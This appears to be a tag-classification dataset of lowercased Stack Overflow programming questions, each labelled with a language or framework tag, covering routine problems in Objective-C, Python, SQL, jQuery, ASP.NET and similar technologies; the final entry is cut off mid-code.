test nsmutable array from plist before saving  i m trying to made a cocoa app that read-write to a .plist file.  i can retrieve informations from the .plist  write into  but when a key (only with strings) is empty  the app don t write to the plist.     here a sample:   <pre><code>-   (ibaction)saveboot:(id)sender {     nsstring *errordesc;     nsstring *bootpath = @ /myplist.plist ;     nsmutabledictionary *plistbootdict =          [nsmutabledictionary dictionarywithobjects:         [nsmutablearray arraywithobjects:                          rescan                      rescanprompt                      gui                      instantmenu                          defaultpartition                      ehciacquire                      nil]                          forkeys:[nsmutablearray arraywithobjects:                       @ rescan                       @ rescan prompt                       @ gui                       @ instant menu                       @ default partition                       @ ehciacquire                       nil]];        nsdata *plistbootdata = [nspropertylistserialization                          datafrompropertylist:plistbootdict                   format:nspropertylistxmlformat_v1_0                   errordescription:&amp;errordesc];             if (bootpath) {         [plistbootdata writetofile:bootpath atomically:no];     }         else {             nslog(errordesc);             [errordesc release];         }       }     @end </code></pre>   i think i need a loop to check if each key is empty or not (and remove it if empty)  but i ve tried different (objectenumerator  objectforkey:..etc) method whitout success.     if someone can help a beginner like me   thanks in advance.    ronan.,objective-c
uidevice.currentdevice.batterylevel returns the same value every time i call it  i m trying to periodically query a device s battery level using <code>[[uidevice currentdevice] batterylevel]</code>. the first time the code runs  i get an accurate value. however  subsequent calls appear to always return the same value  even when the device s battery level changes.    i understand this call only returns values in increments of 5%. that s not the issue here. even when the battery level declines by 10 or 15 percent  [[uidevice currentdevice] batterylevel] reports the same value.    <code>[uidevice currentdevice].batterystate</code> does seem to be accurate. if i unplug the device  the value returned by that call changes.    the device i m testing on is running ios 6.,ios
sql: comparing <> between columns of duplicate table  the student schema is the following: student(sid  sname  gpa)    here is an example my teacher is using:   <pre><code>select sname from student s1 where gpa &gt; all (select gpa from student s2                   where s2.sid &lt;&gt; s1.sid); </code></pre>   i know the s2.sid &lt;> s1.sid comparison is to make sure you do not double-count the same student. but i do not understand functionally how it works  and i do not know what the subquery returns. can someone explain it to me    <pre><code>sid    name    gpa 01     jon     4.0 02     dan     3.0 03     bill    3.6 </code></pre>,sql
angularjs $routeparams are undefined  i cannot access the <em>$routeparams</em> values from my controller.    my angular app is defined as follows;   <pre><code>(function () {      use strict ;      var app = angular.module( rbapp   [          nganimate    ui.router    ui.bootstrap    ngmessages    ngroute    common.services     ]);      app.config([ $stateprovider    $urlrouterprovider    $locationprovider    $urlmatcherfactoryprovider   function ($stateprovider  $urlrouterprovider  $locationprovider  $urlmatcherfactoryprovider) {         $urlmatcherfactoryprovider.caseinsensitive(true);         $urlmatcherfactoryprovider.strictmode(false);         $urlrouterprovider.otherwise( / );          $stateprovider         .state( confirmemail   {             url:  /confirm_email userid               templateurl:  ceform.html               controller:  cecontroller as cevm          });     }]); })(); </code></pre>   my controller is;   <pre><code>(function () {      use strict ;      angular         .module( common.services )         .controller( cecontroller   [ $scope    $state    $routeparams    pagecontentservice    accountservice    sharedservices   cecontroller]);      function cecontroller($scope  $state  $routeparams  pagecontentservice  accountservice  sharedservices) {         var vm = this;         vm.emailconfirmed = false;          console.log( confirmemail userid:    $routeparams.userid);          if ($routeparams.userid) {             .             .             .         }      }; })(); </code></pre>   however when i pass in a url like <a href= http://example.com userid=9daa2c41  rel= nofollow >http://example.com userid=9daa2c41</a>  <em>$routeparams.userid</em> is always undefined.,angularjs
objc computed property vs method  i just saw this in the apple source:   <pre><code>@property (readonly  copy) nsstring *uppercasestring; </code></pre>   so to uppercase a string one would do   <pre><code>@ sdfks .uppercasestring; </code></pre>   is there any advantage doing it this way and not just a method   <pre><code>- (nsstring *) uppercasestring; </code></pre>   i am positive it is the same  but i really want to know why would you use the readonly variant instead of method or other way around.,objective-c
check if an element is a child of a parent  i have the following code.   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;script type= text/javascript  src= http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;div id= hello &gt;hello &lt;div&gt;child-of-hello&lt;/div&gt;&lt;/div&gt; &lt;br /&gt; &lt;div id= goodbye &gt;goodbye &lt;div&gt;child-of-goodbye&lt;/div&gt;&lt;/div&gt;  &lt;script type= text/javascript &gt; &lt;!-- function fun(evt) {     var target = $(evt.target);         if ($( div#hello ).parents(target).length) {         alert( your clicked element is having div#hello as parent );     } } $(document).bind( click   fun); --&gt; &lt;/script&gt;  &lt;/html&gt; </code></pre>   i expect only when <code>child-of-hello</code> being clicked  <code>$( div#hello ).parents(target).length</code> will return >0.    however  it just happen whenever i click on anywhere.    is there something wrong with my code,jquery
iterate through all the controls of a different application   i am using .net 2.0.    how can i iterate through all controls of a different / foreign winform application,.net
nsinvalidargumentexception in select data from sqlite file  i am storing data in following format    <pre><code>             05/03/2012 10:11pm : &lt;0818aaaa aaaaaaaa aaaa454d 554c4154 4f520000 00000000 0000&gt; </code></pre>   but when retrieve data i get using following method   <pre><code>    sqlite3 *database;  if(sqlite3_open([dbpath utf8string]  &amp;database) == sqlite_ok) {      // setup the sql statement and compile it for faster access     const char *sqlstatement =  select logtext from logtable ;      sqlite3_stmt *compiledstatement;       if(sqlite3_prepare_v2(database  sqlstatement  -1  &amp;compiledstatement  null) == sqlite_ok) {            while(sqlite3_step(compiledstatement) == sqlite_row) {                            nsstring *addressfield = [[nsstring alloc] initwithutf8string:(const char *) sqlite3_column_text(compiledstatement  0)];              // read the data from the result row              fulllog=[nsstring stringwithformat:@ %@%@  fulllog addressfield];          } // end of the while      }     sqlite3_finalize(compiledstatement); } sqlite3_close(database); </code></pre>   i receive follwing error     <pre><code>    terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *** -[nsplaceholderstring initwithutf8string:]: null cstring  </code></pre>   <em>*</em> call stack at first throw:    please help why thia issue is occuring,iphone
how to cancel a task with a command from webclient  hi guys the ask in the title is the problem... i try to create a download manager and my problem y when try to cancel a specific download from the gui with the contextmenu linked to the command.    the download doesn t stop and i think the problem is with the token than not pass the cancelation but i dont be for why.    thanks in advance for the help.   <pre><code>xaml contextmenu:   &lt;datagrid x:name= contenedordescargas  height= 323                         autogeneratecolumns= false  itemssource= {binding path=downloads}                        canuseraddrows= false  selectionmode= single  canuserdeleterows= false                        canuserresizecolumns= false  canusersortcolumns= false                        headersvisibility= column  gridlinesvisibility= none  selectionunit= fullrow                        canuserreordercolumns= false  isreadonly= true  ismanipulationenabled= false  &gt;                  &lt;datagrid.columns&gt;                     &lt;datagridtextcolumn header= nombre  width= 300  binding= {binding path=name  updatesourcetrigger=propertychanged  notifyonsourceupdated=true mode=onetime} &gt;                     &lt;/datagridtextcolumn&gt;                     &lt;datagridtextcolumn header= tamaño  width= 110  binding= {binding path=size  updatesourcetrigger=propertychanged  notifyonsourceupdated=true  mode=oneway} &gt;                     &lt;/datagridtextcolumn&gt;                     &lt;datagridtextcolumn header= estado  width= 80  binding= {binding path=state  updatesourcetrigger=propertychanged  notifyonsourceupdated=true mode=onetime}                                          foreground= green  fontweight= bold &gt;                     &lt;/datagridtextcolumn&gt;                     &lt;datagridtemplatecolumn header= completado  width= 150 &gt;                         &lt;datagridtemplatecolumn.celltemplate&gt;                             &lt;datatemplate&gt;                                 &lt;progressbar x:name= progressbar  value= {binding path=progress  updatesourcetrigger=propertychanged  notifyonsourceupdated=true mode=twoway} &gt;                                 &lt;/progressbar&gt;                             &lt;/datatemplate&gt;                         &lt;/datagridtemplatecolumn.celltemplate&gt;                     &lt;/datagridtemplatecolumn&gt;                      &lt;datagridtextcolumn header= velocidad  width= 90  binding= {binding path=speed  updatesourcetrigger=propertychanged  notifyonsourceupdated=true mode=twoway} &gt;                     &lt;/datagridtextcolumn&gt;                      &lt;datagridtextcolumn header= tiempo restante  width= 100  binding= {binding path=timeleft  updatesourcetrigger=propertychanged  notifyonsourceupdated=true mode=oneway} &gt;                     &lt;/datagridtextcolumn&gt;                      &lt;datagridtextcolumn header= fecha  width= 164  binding= {binding path=date  updatesourcetrigger=propertychanged  notifyonsourceupdated=true mode=onetime} &gt;                     &lt;/datagridtextcolumn&gt;                  &lt;/datagrid.columns&gt;                  &lt;datagrid.contextmenu&gt;                     &lt;contextmenu&gt;                         &lt;menuitem header= cancelar  command= {binding path=stopcommand}  commandparameter= {binding relativesource={relativesource findancestor ancestortype={x:type contextmenu}}  path=placementtarget.selecteditem} /&gt;                     &lt;/contextmenu&gt;                 &lt;/datagrid.contextmenu&gt; </code></pre>   definition of command:   <pre><code>class stoptaskcommand : icommand     {         private action&lt;object&gt; action;          public action&lt;object&gt; action         {             get             {                 return action;             }              private set             {                 action = value;             }         }          public event eventhandler canexecutechanged;          public stoptaskcommand(action&lt;object&gt; actioncommand)         {             action = actioncommand;         }          public bool canexecute(object parameter)         {             return true;         }          public void execute(object parameter)         {             action(parameter);         }     } </code></pre>   implementation:   <pre><code>public class downloadmanager     {         private observablecollection&lt;download&gt; downloads;         private int id_new_task=-1;         private icommand stopcommand;    public downloadmanager()         {             downloads = new observablecollection&lt;download&gt;();             stopcommand = new stoptaskcommand(stopdownload);         }          private void stopdownload(object obj)         {             download temp = downloads.elementat((obj as download).id_task);             temp.tokensource.cancel();         }   private void maketask(download new_task  int id_task)         {              cancellationtokensource cancel = new cancellationtokensource();               task.factory.startnew((_id) =&gt;             {                 webclient client = new webclient();                 stopwatch watch = new stopwatch();                 watch.start();                   using(var register = cancel.token.register(()=&gt; client.cancelasync()))                 {                     client.downloadfileasync(new_task.uri1  new_task.name  cancel.token);                 }                   new_task.id_task = id_task;                 new_task.tokensource = cancel;                 new_task.date = datetime.now.tostring();                 new_task.state =  downloading ;                  //add de object to the collection                 downloads.add(new_task);                  client.downloadprogresschanged += (obj  send) =&gt;                 {                     (downloads.elementat(id_task) as download).progress = send.progresspercentage;                     (downloads.elementat(id_task) as download).size = convert.tostring(send.totalbytestoreceive / (1024 * 1024)) +   mb ;                     (downloads.elementat(id_task) as download).speed = string.format( {0} kb/s   (send.bytesreceived / 1024d / watch.elapsed.totalseconds).tostring( 0.0 ));                 };               } id_task cancel.token  taskcreationoptions.longrunning  taskscheduler.fromcurrentsynchronizationcontext()).continuewith((id_t) =&gt;               {                   (downloads.elementat(id_task) as download).state =  stopped ;                   (downloads.elementat(id_task) as download).speed =  0 kb/s ;                }  taskcontinuationoptions.onlyoncanceled);          }      } </code></pre>,c#
objective-c nullability for output parameters  i m adding nullability specifiers to a class  and i have some pointer-to-pointer output parameters  like <code>(nsstring**)</code>  because the method returns multiple objects. how do i specify nullability for that     for these particular cases  i want callers to not pass in null  but i don t care if they pass a pointer to a nil variable (or rather  that s expected).    at first i tried <code>(nonnull nsstring**)</code>  and after a couple of rounds of xcode s suggested fixes  ended with <code>(nsstring* _nonnull *)</code>  but there s still a warning on the second *   pointer is missing nullability type specifier   with no suggested fix.,objective-c
apllying tensorflow typeerror: must be str  not int  i m trying to regenerate tensorflow tutorial code using my dataset which one dimensional n_of_features=3000 n_of_samples=4500 it exists as a matlab file  after applying this code i got the error i m looking for any suggestions to solve this problem   thanks the problem mainly exist in the train the classifier    <h1>train the model.  classifier.train</h1>  <pre><code>from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import tensorflow as tf import scipy.io import pandas as pd import tensorflow as tf import numpy as np  file =  train.mat  myfile1 = scipy.io.loadmat(file) train=myfile1[ train ] file =  test.mat  myfile1 = scipy.io.loadmat(file) test=myfile1[ test ]  train_np = np.asarray(train  np.float32) test_np = np.asarray(test  np.float32) test_np n = train_np.shape[0] p = train_np.shape[1]  train = dict(enumerate(train_np  1)) test = dict(enumerate(test_np  1)) train=pd.dataframe.from_dict(train orient= index ) test=pd.dataframe.from_dict(test orient= index )   def load_data(y_name=p-1):     train_x  train_y = train  train.pop(y_name)     test_x  test_y = test  test.pop(y_name)     train_y=train_y.astype(np.int64)     test_y = test_y.astype(np.int64)      return (train_x  train_y)  (test_x  test_y)   def train_input_fn(features  labels  batch_size):     dataset = tf.data.dataset.from_tensor_slices((dict(features)  labels))     dataset = dataset.shuffle(1000).repeat().batch(batch_size)     return dataset   def eval_input_fn(features  labels  batch_size):     features=dict(features)     if labels is none:         # no labels  use only features.         inputs = features     else:         inputs = (features  labels)      # convert the inputs to a dataset.     dataset = tf.data.dataset.from_tensor_slices(inputs)      # batch the examples     assert batch_size is not none   batch_size must not be none      dataset = dataset.batch(batch_size)      # return the dataset.     return dataset  parser = argparse.argumentparser() parser.add_argument( --batch_size   default=100  type=int  help= batch size ) parser.add_argument( --train_steps   default=1000  type=int                  help= number of training steps )  def main(argv):     args = parser.parse_args(argv[1:])     (train_x  train_y)  (test_x  test_y) = load_data()      # feature columns describe how to use the input.     my_feature_columns = []     for key in train_x.keys():         my_feature_columns.append(tf.feature_column.numeric_column(key=key))      # build 2 hidden layer dnn with 10  10 units respectively.     classifier = tf.estimator.dnnclassifier(         feature_columns=my_feature_columns          # two hidden layers of 10 nodes each.         hidden_units=[10  10]          # the model must choose between 2 classes.         n_classes=2)      # train the model.     classifier.train(             input_fn=lambda:train_input_fn(train_x  train_y                                               args.batch_size)          steps=args.train_steps)      # evaluate the model.     eval_result = classifier.evaluate(         input_fn=lambda:eval_input_fn(test_x  test_y                                              args.batch_size))      print( \ntest set accuracy: {accuracy:0.3f}\n .format(**eval_result))   if __name__ ==  __main__ :     tf.logging.set_verbosity(tf.logging.info)     tf.app.run(main) </code></pre>   and i got this error   <pre><code>file  c:/users/77781455/appdata/local/programs/python/python36/scripts/models/samples /core/get_started/update_pre.py   line 138  in &lt;module&gt;     tf.app.run(main)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\platform\app.py   line 124  in run _sys.exit(main(argv))   file          c:/users/77781455/appdata/local/programs/python/python36/scripts/models/samples/core/get_started/update_pre.py   line 124  in main steps=args.train_steps)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\estimator\estimator.py   line 314  in train loss = self._train_model(input_fn  hooks  saving_listeners)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\estimator\estimator.py   line 743  in _train_model features  labels  model_fn_lib.modekeys.train  self.config)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\estimator\estimator.py   line 725  in _call_model_fn model_fn_results = self._model_fn(features=features  **kwargs)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\estimator\canned\dnn.py   line 324  in _model_fn config=config)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\estimator\canned\dnn.py   line 176  in _dnn_model_fn logits = logit_fn(features=features  mode=mode)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\estimator\canned\dnn.py   line 90  in dnn_logit_fn features=features  feature_columns=feature_columns) file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\feature_column\feature_column.py   line 280  in input_layer trainable  cols_to_vars) file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\feature_column\feature_column.py   line 193  in _internal_input_layer none  default_name=column._var_scope_name):  # pylint: disable=protected-access file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\ops\variable_scope.py   line 1929  in __enter__ unique_default_name = _get_unique_variable_scope(self._default_name)   file  c:\users\77781455\appdata\local\programs\python\python36\lib\site-            packages\tensorflow\python\ops\variable_scope.py   line 1656  in _get_unique_variable_scope     name = current_scope.name +  /  + prefix if current_scope.name else prefix typeerror: must be str  not int </code></pre>,python
sql query error sql syntax  here i have some problem during make database on mysql :   <h1>1064 - you have an error in your sql syntax; check the manual that corresponds to your mariadb server version for the right syntax to use near  use android_api</h1>  <blockquote>    create table users(    id int(11) primary key auto_increme  at line 3  </blockquote>   here my code :   <pre><code>create database android_api /** creating database **/  use android_api /** selecting database **/  create table users(    id int(11) primary key auto_increment     unique_id varchar(23) not null unique     name varchar(50) not null     email varchar(100) not null unique     encrypted_password varchar(80) not null     salt varchar(10) not null     created_at datetime     updated_at datetime null ); /** creating users table **/ </code></pre>   looking forward for your help. thanks,mysql
how quit form authentication auto redirect  i need for my asp.net aplication not auto-redirect to my web.config login page  when i hit  session.abandon() methods. some ideas  this is my web.config file,asp.net
up button on v scrollbar in a textarea  inexplicably greyed out  further info : the button is actually only greying out when i go to use it: on mouse~over it fades  becomes inactive.    i have swapped the css declaration responsible  to use on another textarea in a different website  and it is happy there  behaves as expected.  however  taking a working css declaration from outside  and swapping it into the css for the textarea i am having difficulty with  find that the problem persists.  so i conclude it is very unlikely the css is at fault; at least as far as the textarea.    what area of code should i examine next to try to pin this down,css
remove a combination of empty elements within a section  within multiple sections (accordion)  i have a combination of paragraphs and unordered lists (dynamically generated).     what i m trying to achieve is to remove the empty tags/one or the other  or both if empty.  if both  p  and  ul  elements are empty remove its parent  section .    <pre><code>&lt;section&gt;     &lt;span&gt;-&lt;/span&gt;     &lt;h3&gt;(a)heading&lt;/h3&gt;     &lt;div class= acc-box  style= display: block; &gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;ul&gt;&lt;/ul&gt;     &lt;/div&gt; &lt;/section&gt; &lt;section&gt;     &lt;span&gt;-&lt;/span&gt;     &lt;h3&gt;(b)heading&lt;/h3&gt;     &lt;div class= acc-box  style= display: block; &gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;p&gt;&lt;/p&gt;         &lt;ul&gt;             &lt;li&gt;&lt;a href= #  target= new.window &gt;link&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #  target= new.window &gt;link&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #  target= new.window &gt;link&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #  target= new.window &gt;link&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt; &lt;/section&gt; &lt;section&gt; &lt;span&gt;-&lt;/span&gt; &lt;h3&gt;(d)heading&lt;/h3&gt; &lt;div class= acc-box  style= display: block; &gt;     &lt;p&gt;text here&lt;/p&gt;     &lt;ul&gt;&lt;/ul&gt; &lt;/div&gt; </code></pre>,jquery
my codes for loop isn t increasing.  i intend to find out prime numbers until n. my codes outer for loop isn t increasing. the answer is printed out to be 2 in this case.   <pre><code>let limit = int(readline()!)!      var factors = 2          // as prime no.s only have 2 factors     var countfactors = 0         var prime = [int]()      //array to store prime nos      for number in 2..&lt;limit {       // to count from 2 till n          for i in 1...number {              if(number%i == 0){             countfactors += 1             }         }         if(countfactors == factors){             prime.append(n)         }     }      for items in prime {         print(items)     } </code></pre>,ios
parsing apk file errors  i have a simple tax calculator app which i wanted to share via email.    i have created an apk file and emailed to my gmail.     the purpose was to test whether the app will install.    it has failed with the error  there is a problem parsing the package .    i am able to install this app(apk file) using adb tool on the phone it fails to install when downloaded from gmail.    any reason(s) why the downloaded file failed  i have enable install from unknown sources in the device settings.    ronald,android
python loop returning wrong value when multiplying digits in a string  this function is supposed to take a string of numbers(snum) and then the index it is supposed to start at (indx) and then starting at that (indx) and multiply the next (dig) amount of numbers and return the value. this is current funciton should return 72 but it is returning 41472. thank you!   <pre><code>def product(dig  indx  snum):     length = int(len(snum))     int(indx)     int(dig)     total = int(snum[indx])      for k in range((indx + 1)  length):         for i in range(0  dig):             total = total * int(snum[k])      else:         return total   x = product(3  5   72890346 )  print(x) </code></pre>,python
change a text file to a list  i m attempting to code in python.  i have searched for answers that would satisfy my problem  but the answers all seem to be more involved than what i need.  i am attempting to open a text file and make a list of each unique word that appears.  i will eventually be adding a counter for the number of times each word appears  but i am not there yet  and am asking only for help with the list of used words.  when i attempt to call the function  i get an error of  builtins.nameerror: name  filename  is not defined.  because of this  i can t even see if the code works.  i would appreciate any help very much.     <pre><code>    def computewordfrequencies(filename):         f = open ( filename.txt   r ) # opens the file as read         line = f.readlines() # reads the file         l[0] = [] # lists the unique words that occur in the file         l[1] = [] # upon completion  this variable will count          #the number of appearances of each word         for line in f:         l[0].append(line.split())         l[0] = uniqueextend(l[0])     return(l[0]) </code></pre>,python
how can i extract the contents of the <body> tag   what would be good way of extracting the contents of a <code>body</code> tag from an html page without relying on lxml or beautifulsoup     i m writing a add on package for django and for such a small task  i d hate to add another dependency to my addon. it would be really easy using one of the libraries that i mentioned but other than that and regexs  i can t think of another method.,python
what does this sql statement produce   i am having trouble finding documentation about this specific statement   <pre><code>select if (count(f.id)=0 1 0) as flgnew from table f on ... where ... </code></pre>   the table is joined with other tables and should return 1 if the entry in <code>f</code> is found or 0 if it has not been found.    so what does  if (count(f.id)=0 1 0) do,sql
python list display issue  wasn t sure how to search for this so just decided to ask here. how do i get the output list to display the number sets vertically   i m in 3.3   <pre><code>rows = 5 cols = 2  def main():     num1 = int(input( type a whole number and press enter:  ))     values = [[10  0]                [13  0]                [36  0]                [74  0]                [22  0]]      for row in values:         row[1] = row[0] + num1      display(values)  def display(values):     print(values)      input( press enter to continue )  main() </code></pre>,python
what .net method has this error message:  object cannot be cast from dbnull to other types   what .net method has this error message:  object cannot be cast from dbnull to other types     the stack traces have been stipped from my logs so i m looking for a starting point.    answers:   <ul> <li><code>convert.toint32</code>:  object cannot be cast from dbnull to other types. </li> <li>vb s <code>cint</code>:  conversion from type  dbnull  to type  integer  is not valid. </li> <li>c# s <code>(int)</code>:  specified cast is not valid. </li> <li><code>int32.parse(x.tostring())</code>:  input string was not in a correct format. </li> </ul>,.net
appending ajax response with jquery does not render html  is it possible to use <code>.html()</code> without it rendering <em>raw</em> html code  if not  what would be a good alternative     for more info about my particular case please see <a href= https://stackoverflow.com/questions/36178135/rendering-js-erb-results-in-raw-code >rendering js.erb results in raw code</a>.,jquery
.indexof multiple lines in javascript  so i have this code that needs to check for multiple variables so if for ex either id 1 or id 2 is true it plays console.log so i could either make multiple var s or test indexof mutliple lines and when 1 is true it plays console.log    <pre><code>var id =  76561198331632938 ; if (document.getelementbyid( id ).innerhtml.indexof( 76561198331632938  ||  id2 ) != -1) {      console.log( hello world! ); }  </code></pre>,javascript
using mysql connector c  i have used mysql connector c for my project.    when i connect to my localhost   it connects and data is accessed but when i try to connect with the internet host like <code>mysql.hostinget.in</code>   it doesn t connect.    connecting to localhost: it works.   <pre><code>mysql *con = mysql_init(null); mysql_real_connect(con  localhost   root      main  0 null 0); </code></pre>   connecting to internet host: doesn t work.   <pre><code>mysql_real_connect(con   mysql.hostinger.in    u250589599_sri    abcd   u250589599_main   0  null  0); </code></pre>,c
asp.net calling webmethod with jquery ajax “401 (unauthorized)”  in my local iis it is working fine but when i am hosting it on plesk it shows following error    401 (unauthorized),asp.net
assuming pointer as a struct  i remember on masm32 compiler the directive assume that let me assume a pointer as a struct. is any way to do this in c++  for example i want to do this:   <pre><code>char* test = new char [sizeof mystruct + max_realign]; mystruct* data = test; data.member = 1; </code></pre>   the reason i need this is because i have a pointer to a struct which i need to recompile with new data  increasing the size of the original struct and realign some of their members. after the recompile is done i will no longer reference to the new struct  i just need the reference before making the recompile.    it sounds a little hard to understand  but the question is quite simple: is there any way to reference a pointer as a struct  (i know its not safe  portable  etc  etc).,c++
asp.net dyanic input rows  ive got asp.net web application form where users enter details such as:   <blockquote>   <ol>   <li>subject code</li>   <li>subject name</li>   <li>subject details ....etc</li>   </ol> </blockquote>   i would like the users to click on plus(+) or add button  which creates new empty rows for users to fill above fields. they can enter up to x number of subjects.    is there any easier way to achieve this     please note this is just one part of the form. the other part of form includes student details  comments etc. so listview or gridview is not an option for me right now.    thanks.    regards,asp.net
unable to connect to access database with php  i have the following code trying to connect to an access database   <pre><code>&lt; php   $dbname = $_server[ document_root ] =  c:\xampp\htdocs\college\db\phpdb.accdb ;  if(!file_exists($dbname)) {      die( could not find db );  }  $db = new pdo( odbc:driver={microsoft access driver (*.mdb  *.accdb)}; dbq=$dbname; uid=; pwd=; );  echo  connected to database&lt;br /&gt; ;   $sql =  select testfortest from tbltesttable ;     foreach ($db-&gt;query($sql) as $row)         {         print $row[ testfortest ] .  &lt;br /&gt; ;          }      /*** close the database connection ***/     $db = null;   &gt; </code></pre>   this is the path to database   <pre><code>c:\xampp\htdocs\college\db\phpdb.accdb </code></pre>   phpinfo() details   <pre><code>pdo drivers mysql  odbc  sqlite  pdo_mysql  pdo driver for mysql    enabled client api version  mysqlnd 5.0.11-dev - 20120503 - $id: bf9ad53b11c9a57efdb1057292d73b928b8c5c77 $  pdo_odbc  pdo driver for odbc (win32) enabled odbc connection pooling enabled  strict matching </code></pre>   but i get the error message: could not find db  i have also tried using .realpath but no luck    i m very new to php and would appreciate any help with this connection problem    thanks      /------------------------solved--------------------------/    i should have used i m a fool  url to db should have been c:\xampp\htdocs\college\db\phpdb.accdb works now,php
jquery - slidetoggle function on sliding out  my question is  how can i do something when the slidetoggle function is called  up  (sliding back up/hiding)    <pre><code>    $( #achs ).click(function() {          $( #ach ).slidetoggle(function() {  //when slidetoggle is going to hide  i wish to addcss to something else.               });         $( #ach ).addclass( active );     }); </code></pre>,jquery
save some register from a view  at this time i need to save n cuantity of registers  it s depending of the cuantity of  preguntas     this is the structure of the table    <pre><code>respuestaspolls --------------- id poll subpoll descripcion respuesta </code></pre>   i m loading the fields this way   <pre><code> &lt;% @subpolls.each do |s| %&gt;    &lt;tr&gt;       &lt;thead&gt;          &lt;th&gt;            &lt;%= f.input :subpoll               :label =&gt; false               :error =&gt; false              :input_html =&gt; {               :name       =&gt;  subpoll[]                 :class    =&gt; form-control input-sm                 :value    =&gt;  #{s.name}                 :readonly =&gt; true                :style    =&gt;                   border:hidden;                 font-weight:bold; } %&gt;           &lt;/th&gt;       &lt;/thead&gt;       &lt;td&gt;         &lt;table class= table table-striped table-condensed table-bordered sort_table table-hover  id= sort_table &gt;           &lt;% pregunta.where( subpoll_id =     s.id).each.with_index do |i  index| %&gt;             &lt;tr&gt;               &lt;td&gt;                 &lt;%= f.input :descripcion                     :label =&gt; false                         :error =&gt; false                    :input_html =&gt; {                      :name     =&gt;  pregunta[]                        :class    =&gt; form-control input-sm                        :value    =&gt;  #{i.descripcion}                        :readonly =&gt; true                       :style    =&gt;  border:hidden;                                   background-color:white; } %&gt;                &lt;/td&gt;                                     &lt;td width= 15% &gt;                                         &lt;%= f.input :respuesta                                              :collection =&gt; respuesta.where( pregunta_id =     i.id)                                              :label      =&gt; false                                              :error      =&gt; false                                              :input_html =&gt; {                                             :class =&gt; form-control input-sm                                               :name =&gt;  respuesta[] } %&gt;                                     &lt;/td&gt;                                 &lt;/tr&gt;                             &lt;% end %&gt;                         &lt;/table&gt;                     &lt;/td&gt;                 &lt;/tr&gt;             &lt;% end %&gt; </code></pre>   as you can see i need to save the information of diferents fields called with the same name  so in each field i put that   <pre><code>subpoll[] and pregunta[] and respuesta[] </code></pre>   so i dont know how to get each content of each field from the controller to save the information  can somebody help me please    thanks,ruby-on-rails
jquery menu request  i want a jquery menu like this link     the menu in link is in flash format    <a href= http://www.atid1.com/default/  rel= nofollow >flash menu</a>    when i hover on parent menu with mouse all sub menus will open   <hr>   i think now this is the correct answer   <pre><code>&lt;div class= hovermenuitem  id= item1 &gt;     menu item&lt;/div&gt; &lt;div class= hovermenuitem  id= item2 &gt;     menu item&lt;/div&gt; &lt;div class= hovermenu  style= display: none; position: absolute; &gt;     &lt;!--menu laid out--&gt; &lt;/div&gt; &lt;div class= hovermenu  style= display: none; position: absolute; &gt;     &lt;!--menu laid out--&gt; &lt;/div&gt;      &lt;script type= text/javascript &gt;     $(document).ready(function () {         $( .hovermenuitem ).mouseover(function () {             //var id = $(this).attr( id );             //var itemnum = id.substring(4);             //$( #menu  + itemnum).slidedown(250);             $( .hovermenu ).slidedown(250);         });         $( .hovermenuitem ).mouseout(function () {             //var id = $(this).attr( id );             //var itemnum = id.substring(4);             //$( #menu  + itemnum).slideup(250);             $( .hovermenu ).slideup(250);         });     }); &lt;/script&gt; </code></pre>   but there is a problem    in this way how can we determine childs for each parent,jquery
import mysql query from one server straight to another   i have two linux (debian) servers with mysql (5.5) on them.     how can i run a query on one and import it directly into another one. i was thinking of something like the below  but can t figure out the last bit.   <pre><code>mysql -h1.2.3.4 -p3306 -uxxxx -pxxxx -e  select id from db1.table1 limit 10  | mysql -h5.6.7.8 -p3306 -uxxxx -pxxxx -e  insert into db2.table2 (id) values       </code></pre>   is this actually possible  or do i need to find some other way of doing it,mysql
directive not loading  i`m having some problem with my directive.    the js files for the directive and the controller are included in index.html and the path is correct. no errors are given in the console  but my tag doesn`t render. any help would be apreciated. here are some of my code    loginform.js   <pre><code>(function () { angular     .module( sysconapp )     .directive( loginform   [         function () {             return {                 restrict:  e                   scope: {}                  templateurl:  scripts/directives/loginform/view/loginformview.html                   controller:  loginformcontroller                   replace:  true              }         }     ]); }); </code></pre>   loginformcontroller.js   <pre><code>angular.module( sysconapp ) .controller( loginformcontroller   [ $scope    $state    authservice    userprofile       function ($scope  $state  authservice  userprofile) {/*some codes*/}]); </code></pre>   loginformview.html   <pre><code>&lt;form class= loginform &gt;     &lt;img class= login-logo           src= data:image/png;base64 i...  alt= logo syscon &gt;     &lt;input id= inputemail             type= email             class= form-control             placeholder= e-mail             ng-model= username             required            autofocus&gt;     &lt;input type= password             id= inputpassword             ng-model= password             class= form-control             placeholder= senha             required&gt;     &lt;span ng-show= loginerror &amp;&amp; loginform.$invalid            class= label label-danger &gt;         &lt;b&gt;erro ao realizar login.&lt;/b&gt; favor tente novamente.     &lt;/span&gt;     &lt;button class= btn btn-lg btn-block btn-signin              ng-disabled= loginform.$invalid              ng-class= { btn-default 